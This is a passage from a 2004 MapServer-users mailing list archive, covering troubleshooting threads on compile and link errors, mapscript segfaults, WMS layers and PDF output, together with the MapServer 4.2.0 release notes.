java.awt.Container.dispatchEventImpl(Unknown Source) >> >> at java.awt.Component.dispatchEvent(Unknown Source) >> >> at java.awt.LightweightDispatcher.retargetMouseEvent(Unknown Source) >> >> at java.awt.LightweightDispatcher.processMouseEvent(Unknown Source) >> >> at java.awt.LightweightDispatcher.dispatchEvent(Unknown Source) >> >> at java.awt.Container.dispatchEventImpl(Unknown Source) >> >> at java.awt.Window.dispatchEventImpl(Unknown Source) >> >> at java.awt.Component.dispatchEvent(Unknown Source) >> >> at java.awt.EventQueue.dispatchEvent(Unknown Source) >> >> at java.awt.EventDispatchThread.pumpOneEventForHierarchy(Unknown >> Source) >> >> at java.awt.EventDispatchThread.pumpEventsForHierarchy(Unknown >> Source) >> >> at java.awt.EventDispatchThread.pumpEventsForHierarchy(Unknown >> Source) >> >> at java.awt.Dialog$1.run(Unknown Source) >> >> at java.awt.Dialog.show(Unknown Source) >> >> at java.awt.Component.show(Unknown Source) >> >> at java.awt.Component.setVisible(Unknown Source) >> >> at >> com.vividsolutions.jump.workbench.ui.plugin.wms.AddWMSQueryPlugIn.execute(AddWMSQueryPlugIn.java:83) >> >> >> at >> com.vividsolutions.jump.workbench.plugin.AbstractPlugIn$1.actionPerformed(AbstractPlugIn.java:121) >> >> >> at javax.swing.AbstractButton.fireActionPerformed(Unknown Source) >> >> at >> javax.swing.AbstractButton$ForwardActionEvents.actionPerformed(Unknown >> Source) >> >> at javax.swing.DefaultButtonModel.fireActionPerformed(Unknown >> Source) >> >> at javax.swing.DefaultButtonModel.setPressed(Unknown Source) >> >> at javax.swing.AbstractButton.doClick(Unknown Source) >> >> at javax.swing.plaf.basic.BasicMenuItemUI.doClick(Unknown Source) >> >> at >> javax.swing.plaf.basic.BasicMenuItemUI$MouseInputHandler.mouseReleased(Unknown >> Source) >> >> at java.awt.Component.processMouseEvent(Unknown Source) >> >> at java.awt.Component.processEvent(Unknown Source) >> >> at java.awt.Container.processEvent(Unknown Source) >> >> at java.awt.Component.dispatchEventImpl(Unknown Source) >> >> at java.awt.Container.dispatchEventImpl(Unknown Source) >> >> at java.awt.Component.dispatchEvent(Unknown Source) >> >> at java.awt.LightweightDispatcher.retargetMouseEvent(Unknown Source) >> >> at java.awt.LightweightDispatcher.processMouseEvent(Unknown Source) >> >> at java.awt.LightweightDispatcher.dispatchEvent(Unknown Source) >> >> at java.awt.Container.dispatchEventImpl(Unknown Source) >> >> at java.awt.Window.dispatchEventImpl(Unknown Source) >> >> at java.awt.Component.dispatchEvent(Unknown Source) >> >> at java.awt.EventQueue.dispatchEvent(Unknown Source) >> >> at java.awt.EventDispatchThread.pumpOneEventForHierarchy(Unknown >> Source) >> >> at java.awt.EventDispatchThread.pumpEventsForHierarchy(Unknown >> Source) >> >> at java.awt.EventDispatchThread.pumpEvents(Unknown Source) >> >> at java.awt.EventDispatchThread.pumpEvents(Unknown Source) >> >> at java.awt.EventDispatchThread.run(Unknown Source) >> >> ++++++++++ >> >> a question: does it have something to do I am behind a proxy server? >> >> is there WMS/WFS browser website available on the web? so that I >> don't need to connect from my machine to the server... it shold go >> from the website to the server. >> >> thanks >> >> >> Eduardo Patto Kanegae >> http://www.consultoria.eti.br >> UIN: 303747254 >> >> Treinamento em UMN MapServer - >> http://www.consultoria.eti.br/ptbr/?menuoption=mapserver >> I Encontro Nacional de Usu?rios MapServer - >> http://mapserver.cttmar.univali.br/encontro2004 >> Projeto MapServer Brasil - http://mapserver.cttmar.univali.br >> >> ***Fim da Mensagem / End of Message *** >> >> >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >> > -- Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 F?rum MapServer Brasil - http://mapserver.cttmar.univali.br/forum ***Fim da Mensagem / End of Message *** From assefa at dmsolutions.ca Mon Jun 14 10:36:17 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Mon, 14 Jun 2004 13:36:17 -0400 Subject: [Mapserver-users] Opacity parameter in raster sld Message-ID: <40CDE211.60907@dmsolutions.ca> Hi There, I just added the support for the opacity parameter in sld raster that we discussed last week. Here is an example sld : 1.0 ... Values in the sld go from 0.0 (for transparent) to 1.0 (for opaque). Later, -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From Tom.Kralidis at ec.gc.ca Mon Jun 14 11:07:31 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Mon, 14 Jun 2004 14:07:31 -0400 Subject: [Mapserver-users] Opacity parameter in raster sld Message-ID: <2576812186CDD411BF1500508B6DCE9507366FAA@ecnwri1.ontario.int.ec.gc.ca> > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Yewondwossen Assefa > Sent: Monday, June 14, 2004 1:36 PM > To: Bart van den Eijnden > Cc: Mapserver-users > Subject: [Mapserver-users] Opacity parameter in raster sld > > > Hi There, > > I just added the support for the opacity parameter in sld > raster that > we discussed last week. Here is an example sld : > > > 1.0 > > > ... > So this means that if someone provides their own SLD with the Opacity element, MapServer will work with this accordingly? Will this work the other way around, i.e. responding to a GetStyles? Thanks ..Tom > Values in the sld go from 0.0 (for transparent) to 1.0 (for opaque). > > Later, > > -- > ---------------------------------------------------------------- > Assefa Yewondwossen > Software Analyst > > Email: assefa at dmsolutions.ca > http://www.dmsolutions.ca/ > > Phone: (613) 565-5056 (ext 14) > Fax: (613) 565-0925 > ---------------------------------------------------------------- > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From jychoi at ecn.purdue.edu Mon Jun 14 11:59:28 2004 From: jychoi at ecn.purdue.edu (Jin-Yong Choi) Date: Mon, 14 Jun 2004 13:59:28 -0500 Subject: [Mapserver-users] Mapserver compile with curl. Message-ID: <40CDF590.9010503@ecn.purdue.edu> --------------090107030103030707050904 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Could somebody tell me the reason of the error below that I met while compiling mapserver with libcurl? ----------------------------------------------- /usr/site/ecn/bin/ld: cannot find -lcurl collect2: ld returned 1 exit status *** Error code 1 make: Fatal error: Command failed for target 'shp2img' ------------------------------------------------- Thanks. Jin-Yong Choi -- =========================== Jin-Yong Choi, Ph. D. :-) Environmental DSS Scientist Agr. & Bio. Engineering, Purdue University Tel. 765-494-1196 Fax. 765-496-1115 http://pasture.ecn.purdue.edu/~watergen --------------090107030103030707050904 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Could somebody tell me the reason of the error below that I met while compiling mapserver with libcurl?
-----------------------------------------------
/usr/site/ecn/bin/ld: cannot find -lcurl
collect2: ld returned 1 exit status
*** Error code 1
make: Fatal error: Command failed for target 'shp2img'
-------------------------------------------------
Thanks.

Jin-Yong Choi
--
===========================
Jin-Yong Choi, Ph. D. :-)
Environmental DSS Scientist
Agr. & Bio. Engineering, Purdue University
Tel. 765-494-1196
Fax. 765-496-1115
http://pasture.ecn.purdue.edu/~watergen
--------------090107030103030707050904-- From aaronkoning at shaw.ca Mon Jun 14 12:26:22 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Mon, 14 Jun 2004 12:26:22 -0700 Subject: [Mapserver-users] ia64 php mapscript compile error Message-ID: <1da80151da638f.1da638f1da8015@shaw.ca> Thanks for the help. I added -fpic to the CFLAGS and LDFLAGS variables in the mapserver Makefile and things went perfect ;) Aaron ----- Original Message ----- From: Lars Holm Loldrup Date: Monday, June 14, 2004 2:16 am Subject: RE: [Mapserver-users] ia64 php mapscript compile error > I had this problem, and it was solved by adding -fpic to ALL > compilations. > regards Lars Loldrup > > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mapserver-users-admin at lists.gis.umn.edu]On Behalf Of AARON > KONING > Sent: Sunday, June 13, 2004 1:00 PM > To: Mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] ia64 php mapscript compile error > > > Hi List, > > I am having the following problem when attempting to > compile PHP Mapscript on Linux Suse under an Altix > 64bit server. The error as shown below is: '@gprel > relocation against dynamic symbol'. I have read that > it may be be due to the fact that "...non-pic object > files are linked into a shared library. The ia64 > compiler _requires_ that all code in a shared > library is compiled with -fpic." > I have set CXXFLAGS equal to PIC and then recompiled > PHP and mapserver/mapscript but I still get the same > error. Anybody have any thoughts on this? > > Linux Suse OS: 2.4.21-215-itanium2-smp > gcc: 3.2.2 > PHP: 4.3.7 > MapServer: 4.0.2 > > ---------- ERROR: > > # make > g++ -shared -o php_mapscript.so php_mapscript_util.o php_mapscript.o > mapscript_i.o -L/usr/local/src/gissrc/mapserver-4.0.2 -lmap > -L/usr/local/lib -lcurl -lssl -lcrypto -ldl -lz - > L/usr/local/pgsql/lib-lpq -L/usr/local/lib -lgdal.1.1 -lproj - > ltiff -ljpeg -lfreetype -lpng > -lz -lpdf -L/usr/local/lib -lgd -ljpeg -lfreetype -lpng -lz - > ljpeg -lm > -lstdc++ > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyystate > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyystring > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyystate > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyreturncomments > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyin > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyout > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyin > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyreturncomments > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyylineno > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyout > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyin > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyystring > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyystate > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyystring > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyreturncomments > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyystate > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyystring > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyreturncomments > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyystate > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyystring > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyreturncomments > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyin > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyin > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyin > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyin > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyin > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyin > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyin > /usr/lib/gcc-lib/ia64-suse-linux/3.2.2/../../../../ia64-suse- > linux/bin/ld:/usr/local/src/gissrc/mapserver- > 4.0.2/libmap.a(maplexer.o): @gprel > relocation against dynamic symbol msyyin > collect2: ld returned 1 exit status > make: *** [php_mapscript.so] Error 1 > > ---------------------- END ERROR > > Thanks, > Aaron > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From covad at ert.dyndns.org Mon Jun 14 12:30:43 2004 From: covad at ert.dyndns.org (covad at ert.dyndns.org) Date: Mon, 14 Jun 2004 15:30:43 -0400 Subject: [Mapserver-users] mod_perl segfaults Message-ID: <20040614193043.GM658@ert.dyndns.org> --ki8osN6LALoCW/78 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline I'm getting errors like the following: [Mon Jun 14 14:22:49 2004] [notice] child pid 19412 exit signal Segmentation fault (11) in my apache error log, but only intermittently. The site is usable, but craps out ~25% of the time. I'm running perl mapscript 4.2.0, apache 1.3.31, and mod_perl 1.29. Has anyone else seen behavior like this? Would rolling back to mapscript 4.0 help? Thanks, -rob --ki8osN6LALoCW/78 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAkDN/OMACgkQIR3N7mby6Oqz5wCfVOYs4Po0iTiWqPRRU8Ht/Hpa 1KIAn1gsqgBFzU1Q3W1nhqJYd0o8KEUM =QJCN -----END PGP SIGNATURE----- --ki8osN6LALoCW/78-- From gerry.creager at tamu.edu Mon Jun 14 13:28:19 2004 From: gerry.creager at tamu.edu (Gerry Creager) Date: Mon, 14 Jun 2004 15:28:19 -0500 Subject: [Mapserver-users] maps of the US (west coast or more) In-Reply-To: <40C8CA26.1010006@swoodbridge.com> References: <200406101925.i5AJPFFS012264@lists.gis.umn.edu> <40C8CA26.1010006@swoodbridge.com> Message-ID: <40CE0A63.2010903@tamu.edu> The Strategic Mapping Initiative (StratMap) has a pretty good selection of Texas maps available in the public domain. The majority are available in .e0 form. http://www.tnris.state.tx.us/digital.htm Gerry Stephen Woodbridge wrote: > > Jeramie Gatchell wrote: > > >> I finally got the mapserver running thanks a TON for all the help. >> > Great, congratulations. > >> >> Does anyone know where I can get maps (down to the street level) for >> the US (just need the west coast area for now, but all would be fine >> too)? I found a place that sells the tiger data for $60, which is >> perfectly fine with me if this is the data I need. > > > you can down load tiger data from the US census for free, but is is not > very useful except as a base to convert to shapefiles. Other people have > used ogr2ogr to convert tiger data to shapefiles. ogr2ogr is part of the > gdal distribution. You can also download some Census data in shapefile > format like state, county, and various other polygon boundary files. > There is also other data available from the various free download sites > for gis data. > > http://www.google.com/search?hl=en&ie=UTF-8&q=gis+data+shapefile+download > > -Steve W. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- Gerry Creager -- gerry.creager at tamu.edu Texas Mesonet -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Pager: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 From spencer at dmsolutions.ca Mon Jun 14 13:30:44 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Mon, 14 Jun 2004 16:30:44 -0400 Subject: [Mapserver-users] MapServer 4.2.0 released In-Reply-To: <40BF7DED.9000007@dmsolutions.ca> References: <40BF7DED.9000007@dmsolutions.ca> Message-ID: <40CE0AF4.6000804@magma.ca> fyi I did actually put together an ms4w package with the 4.2.0 update, you can download it at: http://www.maptools.org/dl/ms4w/mapserver_ms4w-4.2.0-20040607.zip I don't think the maptools website has been updated yet. Cheers, Paul Daniel Morissette wrote: > > On behalf of all the developers, I am pleased to announce that MapServer > 4.2.0 has been released earlier last week. I'm sorry if this > announcement comes a bit late, I guess we just assumed that we didn't > need a formal announcement since we talked so much about the new release > on the list, but some questions that I've received recently have proven > me wrong. > > This new release resolves several issues that were found in version 4.0, > and adds a bunch of enhancements and new features. The relevant portion > of the HISTORY.TXT is included below. > > Users of 4.0 are encouraged to upgrade to 4.2 as it is a much more > stable in my opinion. The migration from 4.0 to 4.2 should be very easy: > there should not be any backwards compatibility issues contrary to what > some of you may have experienced when migrating from 3.6 to 4.0. > > This release is available for download at the usual location on the UMN > website: > http://mapserver.gis.umn.edu/dload.html > > Windows binaries including PHP MapScript are also available on > maptools.org: > http://maptools.org/php_mapscript/index.phtml?page=downloads.html > > And an update for the MS4W package (http://maptools.org/ms4w/) will also > be available soon. > > Best Regards, > > Daniel > ------------------------------------------------------------ > Daniel Morissette dmorissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > > > Version 4.2.0 (2004-05-25) > -------------------------- > > - Postgis: added "WHERE false" to query that looks up the schema for item > queries. This should greatly improve performance for complex queries. > > - Mapscript: fixed the shape copy test in mapscript tests. > > - Mapscript: replaced bad PNG file in tests with one that reads on win32. > > - mapresample.c: Ensure background value is properly initialized in > case of rgb or rgba resampled rasters. > > > Version 4.2-beta3 (2004-05-14) > ------------------------------ > > - Fixed another write past end of buffer in INIMAGE WMS errors (bug 644) > > - Removed "xbasewohoo" debug output when using JOINs and fixed a few > error messages related to MySQL joins (bug 652) > > - No more Python-stopping but otherwise benign errors raised from > msDrawWMSLayer() (bug 650). > > - Finished prototyping all MapServer functions used by SWIG-Mapscript > and added 'void' to prototypes of no-arg functions, eliminating all > but two SWIG-Mapscript build warnings (bug 658). > > - Fixed mapwcs.c so that gdal.h and cpl_error.h are not included if > USE_WCS_SVR is not enabled ... which is never is in 4.2. > > - msBuildPath() no longer used with temporary filenames when saving images > via GDAL. > > - Bug 493: fix the raster cracking fix. The last fix introduced a serious > heap corruption / errant pointer problem in some render cases. > > - Resolved issue with pens and dynamically drawing points (bug 663). > > - Removed unused metadata gml_uri in WFS code (Bug 527) > > > Version 4.2-beta2 (2004-05-03) > ------------------------------ > > - Map cloning fixed. However, users must now set the cloned map's fontset > and symbolset explicitly (see bug 557). A new testcopy program has > been added as a target for make. > > - Fixed problem with PHP's pasteImage() method when angle=0 > > - Fixed build problem in mapresample.c when compiling without GDAL. > > - Fixed possible crash when producing WMS errors INIMAGE (bug 644) > > - Fixed automated generation of onlineresource in OWS GetCapabilities > when the xxx_onlineresource metadata is not specified: the map= parameter > used to be omitted and is now included in the default onlineresource if > it was explicitly set in QUERY_STRING (bug 643) > > - Fixed an issue with annotation label overlap. There was an issue with > the way msRectToPolygon was computing it's bounding box. (bug 618) > > - Fixed "raster cracking" problem (bug 493) > > > Version 4.2-beta1 (2004-04-17) > ------------------------------ > > - Added support for WMS 1.1.1 in the WMS interface. > > - Added support for WMS-SLD in client and server mode. > > - Added support for attribute filters in the WFS interface. > > - WMS Interface: several fixes to address issues found in running tests > against the OGC testsuite. One of the side-effects is that incomplete > GetMap requests that used to work in previous versions will produce > errors now (see bug 622). > > - Modified configure scripts to be able to configure/build PHP MapScript > using an installed PHP instead of requiring the full source tree. > > - Added ability to combine multiple WMS connections to the same server > into a single request when the layers are adjacent and compatible. > (bug 116) > > - Support POSTed requests without Content-Length set. > > - Added support for proper classification of non-8bit rasters. > > - Added support for BYTE rawmode output type. > > - Added support for multiple bands of output in rawmode. > > - MySQL joins available > > - Fixed problems with detection of OGRRegisterAll() with GDAL 1.1.9 in > configure due to GDAL's library name change. Fixed a few other minor > issues with GDAL/OGR in configure. > > - Modified configure to disable native TIFF/PNG/JPEG/GIF support by default > if GDAL is enabled. You can still enable them explicitly if you like. > > - Replace wms_style_%s_legendurl, wms_logourl, wms_descriptionurl, > wms_dataurl > and wms_metadataurl metadata by four new metadata by metadata > replaced. The > new metadata are called legendurl_width, legendurl_height, > legendurl_format, > legendurl_href, logourl_width, etc... > Old dependancy to the metadata with four value in it , space > separated, are > not kept. > > - Implement DataURL, MetadataURL and DescriptionURL metadata in > mapcontext.c (bug 523) > > - PHP MapScript's pasteImage() now takes a hex color value (e.g. 0xrrggbb) > for the transparent color instead of a color index. (bug 463) > > - OGR data sources with relative paths are now checked relative to > SHAPEPATH first, and if not found then we try again relative to the > mapfile location. (bug 295) > > - There is a new mapObj parameter called MAXSIZE to control maximum image > size to serve via the CGI and WMS interfaces. The default is 2048 as > before but it can be changed in the map file now. (bug 435) > > - Added simple dataset for unit and regression tests (bug 453) > > - PostGIS: added postresql_NOTICE_HANDLER() sending output via msDebug() > and only when layer->debug is set (bug 418) > > - Added Apache version detection in configure and added non-blocking flag > on stderr in msDebug() to work around Apache 2.x bug (bug 458) > > - MapScript rectObj: added optional bounding value args to constructor and > extended rectObj class with a toPolygon method (bug 508). > > - MapScript pointObj: added optional x/y args to constructor (bug 508). > > - MapScript colorObj: added optional RGB color value args to colorObj > constructor, and extended colorObj class with setRGB, setHex, and toHex > methods. The *Hex methods use hex color strings like '#ffffff' rather > than '0xffffff' for compatibility with HTML (bug 509). > > - MapScript outputFormatObj: extended with a getOption method (bug 510). > > - MapScript imageObj: added optional mapObj argument to the save method > resolving bug 549 without breaking current API. Also added optional > driver and filename arguments to constructor which allows imageObj > instances to be created with a specified driver or from files on disk > (bug 530). Added new code to Python MapScript which extends the > filename option to Python file-like objects (bug 550). This means > StringIO and urllib's network objects! > > - MapScript classObj and styleObj: added a new styleObj shadow class and > extended classObj with getStyle, insertStyle, and removeStyle methods. > MapScript now supports multiple styles for dynamically created classes > (bug 548). > > - MapScript layerObj: added getExtent, getNumFeatures extension methods, > allowing getShape to access inline features (bug 562). > > - Added fixes for AMD64/Linux in configure (bug 565) > > - Removed OGR_STATIC stuff in configure script that used to allow us to > build with OGR statically by pointing to the OGR source tree. That > means you can only build with OGR when *installed* as part of GDAL, > but that's what everyone is doing these days anyway. > > - Mapscript outputFormatObj: extended constructor to allow format names, > and mapObj methods to append and remove output formats from the > outputformatlist (bug 511). > > - New SWIG mapscript development documentation in the spirit of the > PHP-Mapscript readme file, but using reST (bug 576). > > - Paving way for future changes to SWIG mapscript API with new features > enabled by NEXT_GENERATION_API symbol (bug 586). > > - Added ability to set string member variables to NULL in PHP MapScript > (bug 591) > > - New key iterators for map, layer, and class metadata hash tables > (bug 434) and fontset fonts hash table (bug 439). > > - Fixed potential crash when using nquery with a querymap enabled and > some layers have a template set at the layer level instead of inside > classes (bug 569). > > - New CONFIG keyword in the MAP object in a .map file to be used > to set external configuration parameters such as PROJ_LIB and control > of some GDAL and OGR driver behaviours (bug 619) > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------------- |Paul Spencer pspencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From vaiod at berloy.com Mon Jun 14 13:38:26 2004 From: vaiod at berloy.com (Eric Katherman) Date: Mon, 14 Jun 2004 13:38:26 -0700 Subject: [Mapserver-users] Query By Point Help Message-ID: <200406141338.26541.vaiod@berloy.com> I am missing something when doing querys using PHP... Could someone look and see what I might be missing... I am using the following... (Most code taken from the phpgis demo) $queryObj = $map->queryByPoint( $ptClicked,MS_SINGLE,0 ); ptClicked returns the X/Y/M points I then echo out queryObj and get either 1 or 0 although I am not sure why it seems random. ??? $oLayer = $map->GetLayer(2); $numResults = $oLayer->getNumResults(); echo ("
results: ".$numResults); According to the docs, getNumResults returns any results from the query on the previous layer. This returns 0, I was getting it to return 1 at some point but haven't been able to get it back since then. The layer I want to query is number 2, what am I missing here. I am able to get the data out when using the basic html tools but have had no luck with the php side. Please help... From woodbri at swoodbridge.com Mon Jun 14 14:07:19 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Mon, 14 Jun 2004 17:07:19 -0400 Subject: [Mapserver-users] mod_perl segfaults In-Reply-To: <20040614193043.GM658@ert.dyndns.org> References: <20040614193043.GM658@ert.dyndns.org> Message-ID: <40CE1387.4090602@swoodbridge.com> Rob, I think there are still issues with mapscript in general regarding thread safety. You get similar symptoms when running php/mapscript as an apache module. I know they have been making a lot of changes and I will defer to them, but you might try it as a cgi process and see if the problem goes away. -Steve W. covad at ert.dyndns.org wrote: > I'm getting errors like the following: > > [Mon Jun 14 14:22:49 2004] [notice] child pid 19412 exit signal Segmentation fault (11) > > in my apache error log, but only intermittently. The site is usable, but > craps out ~25% of the time. > > I'm running perl mapscript 4.2.0, apache 1.3.31, and mod_perl 1.29. > > Has anyone else seen behavior like this? > > Would rolling back to mapscript 4.0 help? > > Thanks, > > -rob From rich at greenwoodmap.com Mon Jun 14 15:46:21 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Mon, 14 Jun 2004 16:46:21 -0600 Subject: [Mapserver-users] WMS raster layer problem Message-ID: <40CE2ABD.1090800@greenwoodmap.com> I am having problems displaying raster layers via WMS. I have the vectors working correctly. And my raster layers work fine in "regular" mapserver. With MS 4.0 and 4.1 the raster layers simply does not display. But with MS 4.2-beta3 I get an error message: "Invalid layer(s) given in the LAYERS parameter." -- Richard Greenwood www.greenwoodmap.com From Antti.Roppola at brs.gov.au Mon Jun 14 16:53:37 2004 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Tue, 15 Jun 2004 09:53:37 +1000 Subject: [Mapserver-users] Pdf output shows junk on the browser? Message-ID: <3E4215C93D3CE24D84A9FF385DF88D8702A08761@afeb-ms-02> What sort of junk? If it looks like this, you are getting a PDF file, but it is not being recognised by the end-user as one: %PDF-1.3 %???? 5 0 obj <> stream x~\~D?I?$I?$?~OS?^K?~S???~I?^Fu^B?Em?6??~K^F3C??????S~?~@???~H~Q^A?~_ I have noticed that the PDF output file includes a MIME header in the first couple of lines. Depending on how you are generating and sending the file, this might be a problem. If so, try open the PDF file and delete everything before "%PDF-" before sending it to the browser. Also try opening the file from your PDF reader. Aka, the first thing to do is confirm that a valid PDF file is being created. Cheers, Antti -----Original Message----- From: Emil Zegers 